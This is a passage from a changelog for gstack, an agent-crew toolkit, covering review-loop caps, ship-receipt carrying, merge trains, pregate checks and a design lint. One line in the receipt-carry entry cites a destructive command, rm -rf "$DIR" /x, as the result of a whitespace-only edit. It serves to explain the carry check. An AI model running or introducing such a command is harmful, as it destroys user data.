The /ship review loop converges, and a receipt survives a base merge. Five Captains' /ship runs hit the review cap on the same PR shape: every pass re-reviewed the whole diff, reviewers answered an empty range with an invented advisory, and each advisory earned another full pass; four more re-ran /ship on product code they had not changed because a conflict-only main merge or a test fix moved the head the receipt named. The loop now fixes blocking findings in the diff on pass 1, reads only the range since the previous pass afterwards, caps at three passes, and counts passes=<n> blocking_found=<k> deferred=<m> in the ship receipt; the receipt carries to the new head when the product patch-id is unchanged. The blocking floor is the owner's call (Garry, 2026-10-26: "Ok set it at that"), and the policy lives in gstack rather than in any one team's rules (Garry, 2026-10-26: "Gstack should be the actual holder of how to do things not one off Capy files"): docs/review-policy.md is the canonical statement, the skills carry it as their written policy, and a crew rule can be one line pointing at it.

Added

docs/review-policy.md: the canonical review policy: the blocking floor, NO FINDINGS as a result, how /ship converges (pass 1 the diff, pass 2+ the range, three passes), what the receipt's review_loop records, the review_scope table and where each rule is enforced. ship/SKILL.md states it in a Review policy paragraph in the always-loaded skeleton and review/SKILL.md Step 4 states the floor and the NO FINDINGS rule beside the checklist order, each pointing at the doc.

lib/review-scope.ts, bin/gstack-review-scope (classify, defer, render, summary): each finding gets a locus (diff, fix-range, outside; a hunk plus three context lines), a kind, blocking (a CRITICAL defect: a test that would fail, a production break, a security or data-loss defect) and a scope: fix, defer (a blocking finding in code the PR did not change, filed as a GitHub issue reused through a  marker, unfiled (<reason>) without gh) or note. render writes the PR body's ## Deferred findings and ## Review notes sections; summary --since <REVIEW_SINCE> reads this invocation's review-log rows into the receipt's review_loop counters. Refusals end in REVIEW_SCOPE_INPUT or REVIEW_SCOPE_RANGE.

.gstack/ship-policy.json review_scope (frozen | diff-plus-blocking | all, default frozen, since 1.91.249.0; a non-default value needs min_gstack_version): the blocking floor is owner-approved (Garry, 2026-10-26: "Ok set it at that"); diff-plus-blocking is the documented fallback that fixes a blocking finding in unchanged code in this PR instead of filing it, and all is the earlier loop, every finding fixed on every pass. show-effective prints the choice as a ship: review_scope … line (docs/ship-policy.md#review-scope).

gstack-ship-receipt carry (--pr <n> | --body <file>) --base <base> [--dry-run] [--json]: moves the receipt to HEAD when the receipt head is an ancestor of HEAD and the product diff against the base has the same git patch-id at both heads; tests (CARRY_TEST_GLOBS), release metadata (CARRY_METADATA_GLOBS) and the base merge's own commits may differ. The carried receipt records carry: { from, reason, product_patch_id, changed_paths, merge_commits, range_diff, covers, reruns }, prints CARRY: carried from <old> to <new> (<reason>) and the GSTACK_RESULT line, and its summary line ends carried_from=<old12>. A product change is RECEIPT_CARRY_PRODUCT_CHANGED (exit 3, naming the paths); a rebased or missing receipt is RECEIPT_CARRY_REFUSED. write takes --review-loop <json|@file>; ShipReceipt gains optional review_loop and carry with schema (docs/ship-policy.md#receipt-carry, docs/unattended.md).

Severity glossary and lead judgment (ideas absorbed from tstack's sol-loop and pstack's interrogate, rewritten; NOTICE.md): docs/review-policy.md, ship/sections/review-army.md Step 9.4 and review/checklist.md budget the loop by three words (a blocker is the intended case gone wrong, the floor; a should is a real bug a caller will hit inside the intended case, fixed in the diff on pass 1 and deferred otherwise; a nit is the rest, a named note) and carry two stop rules (fixes that grew the diff past the request are cut first; the cap approves nothing, so a standing blocker is reported). The finding merge both /review and /ship render (scripts/resolvers/review-army.ts) gains stage 4, lead judgment: nit gravity, hypothetical versus actual, structure for a case nothing takes, a different design is not a defect, missing context; independent agreement is the strongest signal and a reviewer's NO FINDINGS stands until a traced defect says otherwise. Every specialist prompt accepts an optional cause ({path, line}): a defect the diff causes in code it did not change (a broken caller, a consumer of a removed export) keeps the victim as path and the changed line in cause, and classify follows the anchor, so the finding is the diff's to fix rather than deferred to an issue.

Changed

ship/sections/review-army.md Step 9: first entry saves REVIEW_SINCE and the review_scope line; every entry saves PASS_HEAD, and from pass 2 RANGE_BASE is the previous pass's head, so every prompt the step diffs from the merge base (specialists, Red Team, the outside voice in the adversarial section) reads RANGE_BASE..HEAD under frozen. Step 9.4 item 0 classifies the pass's findings, item 1 queues only scope: fix, item 3.5 defers and renders, and the summary line adds D deferred, O noted. Decision 2 keeps the three-cycle fix cap and adds the pass cap: a blocking finding still in fix scope on pass 3 stops for the owner with the finding named; a pass whose remaining findings are all below the floor applies no edits and ships through decision 4. The review-log row gains pass, review_scope and range_base.

Specialist and Red Team prompts (scripts/resolvers/review-army.ts, both /review and /ship): NO FINDINGS alone is the expected, complete result for a clean diff and never a failed reviewer; CRITICAL is defined as the blocking floor and everything else is INFORMATIONAL. Shared prose was tightened by the same number of bytes, so /review's generated size is unchanged on every host.

ship/sections/pr-body.md: the body carries the ## Deferred findings and ## Review notes sections verbatim from render, and the receipt write runs after gstack-review-scope summary.

ship/SKILL.md Step 1: item 4, the carry check, runs gstack-ship-receipt carry --pr <n> --base <base> when the branch has an open PR; CARRY: carried ends the run with the receipt bound to HEAD.

gstack-ship-receipt carry, after its own pre-landing review (two blocking findings reproduced in the QA smoke before the fix): the product patch-id is git patch-id --verbatim, so a whitespace-only edit to a reviewed line (rm -rf "$DIR"/x → rm -rf "$DIR" /x) is a product change; package.json and VERSION are release metadata only while the from..head change is a version stamp and nothing else (lib/pregate/stamp-only.ts), so a dependency, a script or a new key is product; lockfiles left the default metadata list (product unless the policy's stamp_files/stamp_paths name them); the test globs name code extensions (**/*.test.ts, **/*.spec.rb, …), so an openapi.spec.yaml is product; a working tree with uncommitted changes is RECEIPT_CARRY_REFUSED before anything is compared (the carry binds HEAD alone, and a parent that stops at CARRY: carried would otherwise report pending edits as shipped); a receipt carried twice keeps the reviewed head as carry.from and adds up the hops' merges and paths; the per-path comparison stops at the 20 paths the refusal names and the advisory git range-diff gets 15 s; carry.reruns says that test and helper code changed since the reviewed head runs in CI unreviewed.

gstack-review-scope: classify refuses an unresolvable base with POLICY_SOURCE_UNAVAILABLE instead of reading the working tree's policy silently (pass --policy to classify without the base), validates --range-base as a commit id, runs git with core.quotePath=false so a non-ASCII changed path matches its finding, and records range_base: null on pass 1; a blocking finding with no path is fix, never an issue against (no path); the Testing specialist's category: testing is a test finding below the floor (TEST_GAP_CATEGORIES), as the policy says; defer searches once for every marker before creating anything and files nothing when the search fails (a rate-limited rerun cannot duplicate issues), and exits 0 with unfiled (<reason>) lines (the documented degraded path); summary refuses with REVIEW_SCOPE_INPUT when no via-ship review pass matches --since, and ship/sections/pr-body.md chains it to the receipt write with && after removing the previous loop file, so a receipt cannot record a loop that did not happen.

ship/sections/review-army.md pass 2 range: the core checklist read (item 2) also diffs $RANGE_BASE from pass 2 on, as the dispatched prompts already did; the gate scan and the QA probes keep the whole candidate. docs/review-policy.md and docs/ship-policy.md say so, and name the release that added review_scope through REVIEW_SCOPE_KEY_VERSION instead of repeating the number.

Tests

test/review-scope.test.ts: hunk parsing and locus with context, the blocking floor, fix/defer/note on pass 1 and pass 2 with a range base, the all policy, deferred-issue reuse through the marker and the unfiled path, the rendered sections and the summary counters.

test/gstack-ship-receipt.test.ts: a base merge and a test-only change carry (receipt names HEAD, carry holds the range-diff, the summary line ends carried_from=); a product change is RECEIPT_CARRY_PRODUCT_CHANGED exit 3 naming the path; a non-ancestor head is RECEIPT_CARRY_REFUSED; --review-loop lands in the receipt and its summary line.

test/gstack-ship-policy.test.ts: the ship: review_scope frozen consequence line, all or diff-plus-blocking without min_gstack_version and an unknown value are POLICY_INVALID. test/review-fix-range.test.ts asserts the Step 9 prose (PASS_HEAD, RANGE_BASE, classify, the cap rule).

test/review-loop-budget-wording.test.ts (new): the glossary, the stop rules, the lead-judgment stage in both review armies, the cause anchor in every specialist prompt, and that docs/review-policy.md repeats no version number. test/review-scope.test.ts: a non-ASCII changed path classifies as diff/fix; cause anchors; an unplaced blocking finding is fix; category: testing is a test gap (asserted against review/specialists/testing.md's schema line); --pass 0, --policy loose, an option-shaped --range-base and a non-array render --deferred refuse; an unresolvable base is POLICY_SOURCE_UNAVAILABLE; defer lists once, files nothing on a failed search and exits 0 unfiled; summary refuses zero passes. test/gstack-ship-receipt.test.ts: a whitespace-only edit to a reviewed line and a dirty tree refuse; a lockfile edit and a package.json dependency or script change refuse by path while a version-only stamp carries; a receipt carried twice keeps the reviewed head; the classifyCarryPath rows for lockfiles, .spec.yaml, stamp-only and non-stamp manifests.

Gate integrity

No threshold, timeout, trial count or case kind changed. The ship parity maxSizeRatio in test/helpers/carve-guards.ts moves 1.6740 → 1.7010 (measured 319,071 / 187,706 = 1.6998) and maxSkeletonBytes 81,600 → 82,700 (measured 82,645) for Step 1's carry check, Step 9's scope prose and the skeleton's Review policy paragraph. The gstack-review host pins in test/fixtures/skill-md-size-allowlist.json go up by 250 characters on all eight pinned hosts (agy, codex, copilot, cursor, factory, kiro, opencode, slate) for the three-line policy statement in Step 4; the resolver prose that renders into those hosts was trimmed by the same number of bytes it gained for the NO FINDINGS and floor sentences. Owner decision for the pin raise: Garry, 2026-10-26, "Gstack should be the actual holder of how to do things not one off Capy files".

Pass-1 review fixes raised the same two caps again, each with its measurement: ship maxSizeRatio 1.7010 → 1.7150 (measured 321,630 / 187,706 = 1.7135) for the lead-judgment stage, the cause anchor, the glossary, the stop rules and pass 2's core read; review maxSizeRatio 1.2960 → 1.3100 (measured 141,949 / 108,523 = 1.3080) for the shared lead-judgment stage and cause anchor. The gstack-review pins on the five hosts that inline the review-army section (cursor, factory, kiro, opencode, slate) go up by 1,396 characters each to their exact rendered sizes; agy, codex and copilot carve the section and are unchanged. The owner's standing decision for these raises is the one that opened the lane (GStack Minder, 2026-10-26: the two wording contributions are inside the "too overzealous" ruling, and a cap raise with a stated reason is the lane's to make). test/review-workflow-clarity.test.ts's merge-stage marker list follows the new stage numbering (eight stages; the Red Team reruns 1–8); no assertion was weakened. test/review-scope.test.ts's defer expectation moved from exit 3 to exit 0 because the contract moved (the prose always said unfiled keeps the finding deferred), and its summary zero-pass expectation from a zero record to a refusal, both by decision, not to pass.

Pass 4 (a fourth review pass, approved by the owner's delegate for five findings at the blocking floor that the Step 11 outside voice and native adversarial pass raised after pass 3, recorded here as the policy requires): a path the policy names under stamp_files, stamp_paths or release_outputs is excluded from the carry's product patch only while its change is a stamp, the rule lib/tree-receipt.ts already applies to the same paths; parseHunks keeps a deleted file as a whole changed location, so a cause anchored in a removed export stays in the diff; defer files issues through lib/gstack-post's publication scan, so reviewer text that quotes a credential stays unfiled (publication scan refused: …); classify pins --src-prefix=a/ --dst-prefix=b/ --no-textconv so diff.mnemonicPrefix cannot send every finding outside; summary dates a pass from the logger's review_binding.started_at before the writer's timestamp. test/review-scope.test.ts's deleted-file expectation moved from "dropped" to "whole" because the behaviour changed by decision; the e2e stamp-paths case now writes a real stamp (the old text with the version replaced) because a dropped line was never a stamp.

The review-army-perf-n-plus-one paid case (rule, gate) encoded the old severity: an N+1 was CRITICAL, so a foreground Red Team always followed the Performance specialist. Under the blocking floor the specialist rates a 12-line N+1 INFORMATIONAL (two focused runs at this head, both 0 critical, no Red Team: Red Team: not activated — ... no specialist produced a CRITICAL finding), so the case now asserts the branch the run took: a Red Team that ran must follow the Performance specialist; no Red Team is correct only when the report's own count says 0 critical and its Red Team line names that reason. The N+1 detection assertion is unchanged; test/review-n-plus-one-contract.test.ts gains the informational-not-activated (passes) and informational-claimed (fails: a claimed Red Team with no dispatch) controls, and the budget test's synthetic report carries the count line. No threshold moved; the case's kind and trial count are unchanged.

[1.91.255.0] - 2026-10-26

Merge trains fill at 3 READY PRs or one hour after the first READY, and a train verdict's cost line no longer hides the trials it could not price. On 2026-10-26 the 5-PR / 3-hour fill left READY PRs waiting most of a day, and train verdict printed cost=$24.41 for a train whose slice report said cost $32.92 known + 54 of 136 trial(s) cost unknown. The slice report was right: 54 E2E trials had no cost attributed because their result records are named by a display label ("/benchmark workflow") while the case is named by its id (benchmark-workflow), so the per-case sum the train record carries was short by $8.51. Every train cost the coordinator reported until this fix was that undercounted verdict figure (about $24 per train against about $33 real).

Changed

.gstack/ship-policy.json: train.max_size 5 → 3 and train.fill_hours 3 → 1. fillDue already dispatches at either bound, whichever comes first; a fourth READY PR is HELD: for the next train. docs/ship-policy.md says so in the fill paragraph and its example block.

Fixed

scripts/lib/paid-report.ts: when a shard ran exactly one case (every case shard since W5a), its result records belong to that case even when they are named by a display label, so the trial's cost_usd is the record's and cost_known is no longer false; a failed trial in such a shard also takes its failure_class, exit_reason and error from that record (train-gate classes a red infra record INFRA instead of VERDICT) where it was a bare assertion with the JUnit message. No case's pass or fail changes. A multi-case shard whose records carry display labels keeps those trials cost-unknown rather than guessing which case paid. The train record's per-case cost_usd (scripts/train-gate.ts) and the slice report's headline now agree for case shards; the headline was never wrong.

lib/ship-queue-train-verdict.ts: the ATTEMPT: line prints cost=$<known> known + <n> of <m> case(s) cost unknown when some but not every panel is priced, the bare cost=$<sum> only when every panel is priced, and no cost at all when none is (unchanged).

Tests

test/gstack-ship-policy.test.ts pins the live fill rule (3 PRs or one hour) and exercises fillDue with the live block at 59 and 60 minutes and at 3 PRs.

test/paid-report-census.test.ts: a display-labelled record in the periodic fixture's qa-fix-loop case shard gives the trial cost_usd: 1.23 with no cost_known: false, verdict.costUsd 1.23 and the headline cost $1.23 known + 6 of 7 trial(s) cost unknown (red before the fix: cost_usd: 0, cost_known: false); a failed display-labelled record gives the trial failure_class: 'timeout', its exit reason, error and cost (red before the fix: assertion with the JUnit message); the two-case skill-e2e-cso shard keeps its display-labelled trial unknown while the id-named one is priced.

test/ship-queue-train-cost.test.ts: a green train whose record has two unpriced panels prints cost=$0.70 known + 2 of 3 case(s) cost unknown; a fully priced record prints cost=$1.50 alone (red before the fix: the bare cost=$0.70); every panel priced at zero prints cost=$0.00.

scripts/lib/windows-curation.ts excludes test/ship-queue-train-cost.test.ts from the Windows subset like test/ship-queue-train.test.ts: both drive bin/gstack-ship-queue against the #!/bin/sh gh shim, which windows-latest cannot run.

Gate integrity

No threshold, rubric, trial count, case kind or judge prompt changed. Cost attribution changes what a trial record reports, never whether a case passed.

[1.91.254.0] - 2026-10-26

Pregate ergonomics for a repository that is not gstack (Lane D, GSTA-112; plan harness-codify E4–E6; Captain issues 6, 11, 12). Three Captains lost their first /ship pass to PREGATE_NO_LANE in a repo that had no .gstack/pregate.json yet (FOUN #292, harness-evals #81/#82); the non-downgradable secrets check refused 1,800 dummy per-trial tokens, 11-digit Actions run ids read as phone numbers and a public Firebase key every bundle rebuild re-adds (harness-evals #81/#83, GSTA-102, GSTA-106); a lane whose runner could not start read as the diff's failure and was waived by test name (truther #617); and pregate's logs under os.tmpdir() were shared between parallel runs and wiped by a Capy wake (gbrain 16).

Added

No policy → warn plus a starter, never a hard PREGATE_NO_LANE (lib/pregate/starter.ts, lib/pregate/checks/lanes.ts). When the base branch carries no .gstack/pregate.json and no user-owned policy exists, a touched file with no lane is a warn row under the new code PREGATE_NO_POLICY; the selected tests still run (a red lane is still fail, an unknown platform matrix is still a requires-remote obligation), and the table prints a starter policy drafted from the repository: the detected runner, the test directories, the CI lanes (naming a planner-computed matrix that needs selection), the JSON between PREGATE_STARTER: begin and end with a dependencies entry per unmapped touched file mapped to the tests nearest it or sharing its stem (never []), and a TODO line per file nothing covers. run writes nothing; gstack-pregate init is the explicit write. Once any policy exists (base copy, user-owned file, or --policy-from head), an unmapped file is PREGATE_NO_LANE as before.

allowlist in .gstack/pregate.json (lib/pregate/allowlist.ts, lib/pregate/config.ts, lib/pregate/checks/secrets.ts): [{ finding, paths?, pattern?, reason }], where finding is a gstack-redact finding id or one of the categories pii, internal, hygiene, legal; paths are contained globs; pattern is a regex matched at the finding's position in the added line and ending at a token boundary; one scope is required and reason always is (64 entries at most). The secrets row says N allowlisted (<ids>), lists each allowlisted finding with its entry and reason, and records the entries' digest as inputs.allowlist. env.value (a credential-named environment variable's real value in the added lines, #3449) and the whole secret category can never be allowlisted: validation refuses the entry (PREGATE_CONFIG_INVALID at allowlist[i].finding) and the matcher never consults the list for env.value, so a stale or hand-edited policy cannot silence it; the scanner's own engine.* refusals (an oversize input fails closed) are refused and kept the same way. A pattern entry that named a finding the scanner gave no position for is reported as not tested (the finding is kept) instead of silently inert. An unparsed scanner report keeps its exit-code verdict.

Environment failures reported apart from diff failures (lib/pregate/environment.ts; new code PREGATE_ENVIRONMENT with the troubleshooting anchor pregate-environment). A runner or guard binary missing from PATH (exit 127, command not found, a spawn ENOENT, a tool not on PATH), a network error or a quota refusal before any test was counted, a full disk, an unverified runtime or gstack's own scanner not finishing is incomplete with cause: "environment" and environment: { kind, evidence } in pregate.json, an environment: <kind> — <evidence> table line and a fix; PREGATE_LANE_FAILED, PREGATE_GUARD_FAILED and PREGATE_SECRETS carry cause: "diff". environment.proof records how the cause was established: launch (a spawn failure, a binary off PATH, a runtime or tool refusal; the fix ends "the diff is not at fault") or output (a rule matched the command's text before any test was counted, which the diff's own output could have written; the table line says (inferred from output) and the fix asks for confirmation on another machine or with --remote). The classifier is conservative: a local lane that exited non-zero is read from its output only when its runner reported no test summary and was not seen starting a test file; a counted failure is the diff's whatever its log says; exit 127 and command not found are missing-binary only when the command's own binary is off PATH, so a runner, guard or gate script the diff controls that exits 127 is the diff's; a remote gate is environment only when it printed no PREGATE_REMOTE: line and the cause sits in its first 40 lines, before any test output could stream; a runner killed by a signal, stalls and timeouts keep PREGATE_INCOMPLETE / PREGATE_STALLED. gstack-pregate verify prints PREGATE_ENVIRONMENT: <n> check(s) blocked by the environment (<kinds>), not by the diff when every incomplete check is environment-caused, naming any check inferred from output alone, and names the kinds beside PREGATE_INCOMPLETE otherwise, so a lane waives by cause and proof, never by test name.

One scratch directory per run under the state root (lib/pregate/run-scratch.ts): <state root>/projects/<slug>/pregate/runs/<run id>/ (0700; --run <id> names it, else <UTC stamp>-<pid>-<4 hex>) holds the secrets scan's added-line copies (deleted after the scan), lanes/lanes.log, guards/<id>.log and the remote gate's log and file list, never os.tmpdir(). pregate.json records it as scratch, the table prints scratch: <dir>, a taken --run name takes a numbered sibling (<id>-2 … -9) rather than sharing the directory; runs older than 7 days under the same project are pruned when a new run starts; an unwritable state root falls back to a private per-run directory under os.tmpdir() and says so.

Fixed

literals no longer floods on a common module stem or a one-digit value (lib/pregate/checks/literals.ts consumersOf). A test file counted as a consumer of a changed constant when it merely contained the source file's stem as a bare word (install, retry), so GSTACK_CAPY_WRAPPER=2 → 3 in capy/skill/gstack/scripts/install.sh flagged 575 test files (PREGATE_LITERALS; GSTA-114, #3475). The module now counts only as a path fragment (/install.sh, /retry.js, /retry'), and an old value shorter than two characters needs the constant's name in the file. The same edit now flags the 5 files that name GSTACK_CAPY_WRAPPER. Regression: test/pregate-selection.test.ts "consumersOf: a module stem is a path fragment…".

Changed

docs/pregate.md: the allowlist row, the "No policy yet" paragraph, three sections (allowlist, environment failures, scratch), the synopsis (--run <id>), the stage-1 guards and stage-2 lanes bullets and the Publication code list. docs/troubleshooting.md: PREGATE_NO_POLICY and PREGATE_ENVIRONMENT anchors; PREGATE_NO_LANE and PREGATE_INCOMPLETE point at them; PREGATE_GUARD_FAILED carves out a guard whose own binary is off PATH, PREGATE_SECRETS points at the allowlist, PREGATE_INCOMPLETE names a signal-killed runner. lib/headless-artifacts.ts: the pregate schema accepts cause, environment and scratch (additive). gstack-pregate --help documents --run.

Existing pregate tests whose fixtures had no policy and asserted the hard PREGATE_NO_LANE (test/pregate-selection.test.ts, pregate-docs-lane-review.test.ts, pregate-non-js.test.ts, pregate-rust.test.ts) now assert the no-policy warning and that the file is still named as unmapped; the Dart missing-SDK cases in test/pregate-dart.test.ts assert PREGATE_ENVIRONMENT and the new fix text.

Tests

test/pregate-starter.test.ts: no policy → exit 0, warn/PREGATE_NO_POLICY, the mapped test still ran, the starter validates, maps by stem, and prints the TODO, test directories and CI lanes; a planner-computed platform lane keeps requires-remote with the code; a failing selected test is still PREGATE_LANE_FAILED; a base or user-owned policy keeps PREGATE_NO_LANE; run leaves no file and init writes one validate accepts. Red before the change: exit 1 with PREGATE_NO_LANE.

test/pregate-allowlist.test.ts: validation (id or category with a scope and a reason; env.value, the secret wildcard, an empty scope, a bad regex and an uncontained glob refused); a dummy sk-trial-… token allowlisted by path and pattern and named, failing outside the path or under a pattern that covers only its head; a category entry for a run id; env.value survives a pattern: ".*" entry at the matcher and the config naming it is refused before any check runs. Red before: PREGATE_SECRETS on the dummy token and allowlist an unknown key.

test/pregate-environment.test.ts: the classifier's vocabulary; a missing runner binary, a network error with no summary, a quota refusal from the remote gate (obligation uncleared) and a missing guard binary are PREGATE_ENVIRONMENT with their kinds and verify says so; a counted test failure beside an ECONNREFUSED line and a guard that exits 2 stay cause: "diff". Red before: PREGATE_LANE_FAILED with no cause.

test/pregate-scratch.test.ts: two --run ids get two directories under the fixture's state root, logs and the record name them, an unnamed run is unique, the secrets copies are gone after the scan, and prune keeps fresh runs and the current one. Red before: logs under /tmp/gstack-pregate-lanes-* and no scratch field.

[1.91.253.0] - 2026-10-26

/captain (also /crew): the crew operating model that keeps many agents merging into one base branch without turning it red, as a gstack skill with templates and a team guide. Teams running a controller agent over worker threads had the model only in one crew's private notes. It now ships generic: one controller merges and lanes never merge; a READY block (full head SHA, base, CI counts, pregate, gate evidence, SHIP_RECEIPT at the pin, screen choice with justification, receipt path, logged flaky cases) is the only merge trigger, and a green PR page or a cheap test tier never is; merge trains (build, verdict, per-slot stamp on call, verify, merge with the expected head, verify again, prune), the red-train rules (in-run flaky rerun once, bisect on the red cases, exactly one unchanged rebuild, one infra re-dispatch), the tree rule, the backstop and the freeze, and the post-merge babysit; the digest shape (Needs you / New / In progress with ages); the three approval shapes (the per-thread record, the plan ask with before → after and a "do it" reply, the merge ask with captioned before/after images); and the daily flaky-fix pass (ledger format, the gate runs' flake records and the free suites' retries as sources, red-before-green fix PRs, one named infra rerun allowance, never thresholds, trials or kinds). Where crews that run this model disagree (squash or merge, lane or controller stamps, gate-ahead, the severe race, a gate run id in the READY) the skill ships both as options for the crew rules file. Every repo-specific name is a parameter (REPO, BASE, REQUIRED_CHECKS, FULL_GATE_CHECK, MERGE_METHOD, STAMP_FILES, KNOWN_INFRA_FLAKES).

Added

captain/SKILL.md.tmpl: the skill, tier 2, routed from the root router on "captain", "crew", a merge train, a slot call, a READY block or the crew digest; its own triggers add "validate this ready" and "flaky pass".

captain/templates/: CREW.md (the 23 lane rules as one-line pointers into gstack's docs and skills, plus the crew's parameters and its standing-approval table), AGENTS.md (the controller's standing rules with the owner's dated words), NOTES.md (the append-only timestamped log), DIGEST.md, flaky-ledger.md, report.md (Outcome, PR, Needs, Cost, Lesson, Approvals), READY.md (the block, the optional lines, the refusal list), slot-call.md, plan-ask.md, merge-ask.md and automation-flaky-pass.md (the schedule, what it reads, what it starts).

docs/captain.md: how a team sets up a Captain crew on Capy with gstack: the roles, the drive layout, the crew rules file, the READY contract, the lane's /ship sequence before READY, trains with the slot-2 recipe, approvals, the digest, the flaky pass, the owner's device, the lessons loop, and the setup steps; linked from the README docs table, docs/skills.md, docs/capy-install.md and the skill.

test/captain-skill.test.ts: pins the contract the skill teaches, the template set, the generic wording (no crew codes, names or repository literals) and the registration points.

Changed

gstack-owner-brief render --captain closes "What we need from you" with the do it reply (every recommendation at full scope, the plan's follow-ons included, carried through with no further ask) and invites rec or do it; capy/skill/gstack/captain.md documents it as step 6 and points at the controller's side.

README.md (power tools), AGENTS.md, docs/skills.md, docs/PROJECT_STRUCTURE.md, the root router and the doctor component table register the skill; test/fixtures/context-budget.json gains the captain ceiling and the router's, grown by its one new rule; test/catalog-budget.test.ts, CLAUDE.md, CONTRIBUTING.md and docs/CONTRIBUTOR_REFERENCE.md carry the catalog ceiling the new skill ratchets to; gstack-autoplan answer accepts do it as a rec alias.

[1.91.252.0] - 2026-10-26

/retro can now say whether the factory is getting better, and a new team has one page that takes it from zero to its first merged train on gstack + Capy. bin/gstack-factory-scorecard reads one window (default 7 days) from GitHub through gh and prints a Markdown table plus a CSV: merged PRs (crew vs outside contributors), lead time (PR created → merged, and first READY comment → merged), gate runs green / red / cancelled with their known cost, cost per merge, the red-train rate, flaky events from the same two sources the daily flaky pass reads, issues opened vs closed, and releases cut. Each line carries its counting rule and what one of the best software factories would show on it; a line whose input cannot be read says unavailable (<reason>), never 0. docs/recommended-harness.md is the adoption guide: install, the Captain and its Drive, the first train, the daily flaky pass, the weekly release, the scorecard with gstack's own numbers against the bar, what is Capy-specific, the options where two crews differ, and the known Capy limits as of 2026-10-26.

Added

bin/gstack-factory-scorecard (lib/factory-scorecard.ts): --repo, --base, --since-days, --crew login,login (else author association OWNER/MEMBER/COLLABORATOR), --gate-workflow, --gate-event, --free-workflow, --train-prefix, --ready-marker, --pass-marker and --pass-cap (review passes per PR: median, p90 and how many PRs sat at the cap, from the ship receipt's "passes" in the PR body or a passes=N / REVIEW_PASSES: N comment), --max-artifact-runs, --out-dir, --csv, --json, --fixtures (recorded gh responses, no network) and --now. --repo defaults to the origin remote's owner/name and is required without one; every run appends its rows to trend.csv in --out-dir. Gate cost comes from the run's report-verdict-a* artifact (collector-outcomes.json .verdict.costUsd), else the **$N** rule/judge cost or cost=$N line of the PR's verdict comment; flaky events from flake-records-a* (paid) and flake-ledger-* (free) artifacts. A READY comment posted after the merge is ignored, a PR's verdict-comment cost backs one gate run, and a run whose artifacts cannot be read is counted and named rather than scored 0. Read-only; exits 0 with the table even when an input is unavailable, 2 on bad usage.

/retro Step 7.5 (Factory scorecard, optional): the report format gains a Factory scorecard slot; the step runs the bin for the retro window when gh is authenticated and pastes the table, third column included, into the report.

docs/recommended-harness.md, linked from the README docs table; docs/standalone-binaries.md lists the new CLI.

Tests

test/factory-scorecard.test.ts: the recorded window (test/fixtures/factory-scorecard/recorded.json) yields the expected merges, lead times, gate kinds and outcomes, artifact and comment cost sources, flake counts, free retries, issues and releases; a crew login list overrides the association rule; runs older than the window, non-dispatch events and draft releases are left out; the artifact cap leaves later runs without cost or flake data; a missing input marks only its lines unavailable; the markdown and CSV carry every row; gate classification, READY-marker matching, verdict-cost and flake-record parsing and nearest-rank percentiles; --gate-event any keeps non-dispatch runs; an empty window prints n/a instead of NaN; a failed merged-PR read leaves the gate rows standing; the bin end to end with --fixtures, --crew, --out-dir, --csv, --ready-marker, bad usage (including --now) and --help; the retro template pins the fence.

test/host-conformance.test.ts C3 ("--status names a symlinked router and a broken section link per host") deletes a named section (scope.md) instead of the first .md that readdirSync returns: two gstack-qa sections are referenced only in table form, which setup --status does not count as links, so on an ext4 directory order that listed one of them first the case failed deterministically on remote-gate VMs while passing on Actions (#3479).

[1.91.251.0] - 2026-10-26

A free, deterministic design lint ships with gstack: bin/gstack-design-lint checks a page's HTML, CSS and components for the tells that make it read as machine-made, in under a second, and with --render measures what only a browser can. Until now gstack's only mechanical design check was the opt-in impeccable engine most users never install, plus gstack-design-craft's seventeen copy and ship-floor regexes; everything else in the Slop Gate was prose the model judged itself. The lint ports the roughly fifty-five machine-checkable gates of Nutlope/hallmark's sloplint (MIT; see NOTICE.md) into TypeScript under lib/design-lint/, rewritten in gstack's voice and mapped onto gstack's severity words. This release is the tool alone (Phase 1 of the hallmark absorption plan, approved by Garry on 2026-10-26); /design-html and /design-review start calling it in Phase 2, so no skill prose changes here.

Added

bin/gstack-design-lint <file-or-dir ...> [--render] [--url] [--scope page|component] [--job <job>] [--json] [--rules]: reads .html, .css, .jsx, .tsx, .vue, .svelte and .astro (Tailwind class strings included, cn()/clsx()/cva() calls too), links each page to the stylesheets it reaches through <link> and @import, resolves CSS variables, converts colours to OKLCH and computes contrast, and prints one line per finding: LINT: <blocks|ask|polish|waived> <rule-id> <file>:<line> <evidence> | fix: <fix>, then LINT_SUMMARY: blocks=N ask=N waived=N polish=N render=<ran|skipped: reason>. Exit 2 on blocks, 1 on an unanswered ask, 0 otherwise. docs/design-lint.md is the contract and lists every rule.

Three tiers in gstack's words, no fourth scale. blocks (hallmark's Floor: contrast, focus rings, reduced motion, a card in a card, a purple-blue gradient, content hidden until JavaScript runs; never waivable), ask (hallmark's Reflex: three equal cards, Inter as the display, the centred-stack hero; waivable on the record) and polish (hallmark's Finish: straight quotes, a lonely last grid item; never blocks). Blocking and waived counts are never summed, so blocks=0 is always a true sentence about the Floor. Three house rules hallmark holds at Floor stay at ask here: the eyebrow above a heading, the 80-word screen and the dash.

Waivers on the record.  (or the /* */ and // comment forms; impeccable-disable <rule>: <reason> is an alias) answers an ask or polish finding when the reason is about this page: 24 characters or more, not boilerplate, not reused on another waiver, sharing a word with the page's own text. A waiver of a blocking rule is refused and the rule still fires; more than three waivers on one page is reported as a house style that belongs in DESIGN.md.

The render tier (--render, or --url for a dev server) runs on the same engine gstack-render picks, Aside first and gstack's own headless browser otherwise, with nothing to install: the hero fits at 1280x800 (the headline's bottom and the first action; the lede and the visual are not measured), about 80 words per 900px window, contrast against the painted pixels, focus rings found by focusing every control, headings crowded against the section above, text painted under another element, horizontal scroll between 320 and 1920, wrapping button labels, a hero offering more than two actions, section gaps under 120px or all alike and more than nine sections, thin sections, dead bands, drawn illustrations, empty picture slots, counting marks and photographs covering more than a third of the page. Without a browser the summary says render=skipped: <reason> and the static tier still runs.

lib/aside-render.ts: an eval step takes an optional viewport (width, height, deviceScaleFactor, mobile), set before the eval and cleared after it the way the screenshot step already does, and a spec's file may be an http(s) URL, opened as it is with no loopback server. Both engines take the size; deviceScaleFactor and mobile on an eval step reach Aside only (the browse daemon's viewport takes a size alone). Nothing else in the file changes.

The copy tier: gstack-design-craft's content-realism and ship-floor tells (placeholder names, lorem, buzzwords, round numbers, [Needs proof], dead links, images without alt, the missing title, description, skip link and aria-current) report under the same contract and ids, so one command prints one list. bin/gstack-design-craft itself is unchanged until Phase 2 swaps the call.

